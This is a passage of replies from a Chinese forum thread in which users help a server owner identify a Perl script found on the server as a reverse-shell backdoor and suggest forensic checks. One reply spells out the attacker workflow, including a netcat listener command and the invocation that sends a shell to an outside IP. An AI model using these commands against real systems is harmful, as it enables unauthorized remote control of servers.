1
ender049 2017-06-12 17:25:02 +08:00
这个是个后门
|
2
xss 2017-06-12 17:25:52 +08:00
后门+1
|
3
v3exad 2017-06-12 17:27:26 +08:00
bc = backconnect
|
4
40huo 2017-06-12 17:30:59 +08:00
反弹了 shell 吧
|
5
winsyka 2017-06-12 17:36:31 +08:00
reverse shell...
|
6
aprikyblue 2017-06-12 17:42:47 +08:00
可以来个蜜罐走一波
|
7
meepo3927 2017-06-12 17:43:06 +08:00
运行这段代码能干啥
|
8
vus520 2017-06-12 17:58:28 +08:00
这是攻击的肉机吧
|
9
xustrive 2017-06-12 18:01:15 +08:00
我表示没看懂,有大神给讲解讲解吗、
|
10
fucker 2017-06-12 18:44:09 +08:00 4
@xustrive
这个 perl 脚本接受两个参数,一个是监听服务器的 ip,一个是端口,这段代码就是把 sh shell 反弹到刚才所说的监听服务器上。那个监听服务器一般是用 netcat 做端口监听,接收 socket,命令一般是 `nc -lvp [port]` 假设黑客的监听端口是 2333, 服务器 IP 是 1.2.3.4, 那么黑客会在 1.2.3.4 这台服务器上运行 `nc -lvp 2333` 然后在楼主的服务器上运行 `perl envl_bc 1.2.3.4 2333` 如果网络顺畅的话,黑客就可以直接在他的服务器( 1.2.3.4 )直接控制楼主服务器的某个权限的 shell 了 多年前,大多数情况是服务器 web 服务存在漏洞,黑客利用这样的 shell 反弹技术运行 localroot(本地提权)程序 /脚本。 所以建议楼主查一下 web 服务(或不限于 web 服务)是否存在漏洞。 估计 web 目录已经躺着好几个 webshell 了。 |
11
pq 2017-06-12 18:48:47 +08:00
我有点困惑,既然是后门,为嘛要用明码脚本来写呢?就算不会用 c/c++,用 python 编译搞一下,也比直接 perl 脚本让人一看就觉得蹊跷要好呀。。。。
|
12
shmilyin OP 感谢楼上各位分析,我看着像,不确定所以来问问
|
13
nicevar 2017-06-12 19:42:42 +08:00
@pq 因为这是开个端口临时用的,会放更隐蔽的
楼主要查一下文件时间变动,看一下 log 操作记录,现在的服务器开任何端口给 外网操作都挺危险的,ssh/mysql 这些暴力破解的自动化程序满天飞 |
14
fucker 2017-06-12 19:54:42 +08:00 5
@pq
1.老旧的 linux/unix 服务器通常自带 perl,尤其是 unix (尤其在日本,日本很多老旧站点都是 perl cgi 开发的)。 2.perl 和其他多数语言一样,分号结尾,所有代码可以写在一行(显然这次是个例外),这样有个好处,就是在遇到命令执行漏洞的时候,非常管用,而 Python 做不到。 3.许多(老旧的包括现在,尤其是老旧的)服务器在生产环境下是不存在 c/cpp 编译环境的,但是国内很多 linux 服务器却都拥有编译环境。(编译环境对于本地提权来说是非常必要的,当然交叉编译 /自建环境编译除外,这些都很容易出错) 4.如 13 楼所说,临时用的,一般这种脚本在执行之后,都会立即进行提权,然后植入 rootkit,那些才是真正的后门,隐蔽性极高,没有取证 /渗透经验的人,通常是找不到的。这一次显然是由于黑客疏忽 /权限问题没有清除。 |
15
fucker 2017-06-12 19:59:03 +08:00
@pq 再补一条,这个反弹 shell 的脚本其实并不具备后门的特征,也不会给取证带来什么方便,简而言之,就是用这样的动态语言写的脚本其实并不会暴露黑客的信息,当然,在建立连接的时候,[可能]会在 history 里面留下黑客服务器的 IP 地址,网关那里也可能会有,但是这些代码并不会直接暴露黑客的信息,所以这代码是否源码可见对他来说都是安全的。
|
16
hellove1985 2017-06-13 10:04:55 +08:00
|
17
xustrive 2017-06-13 10:18:19 +08:00
@fucker 若服务器前端有硬件防火墙 以及开启软防火墙不是也没有效果的吧。
你讲的那些似乎我没有从脚本中看出来有那些命令(可能是水平还是很菜。23333 ) |
18
fucker 2017-06-13 12:22:15 +08:00
@hellove1985 我前面描述有误,感谢指正。python 的确可以一行代码,比如一些 web 服务器和模板的命令执行漏洞( flask+jinja2 )都是一行 Python 做到的。
|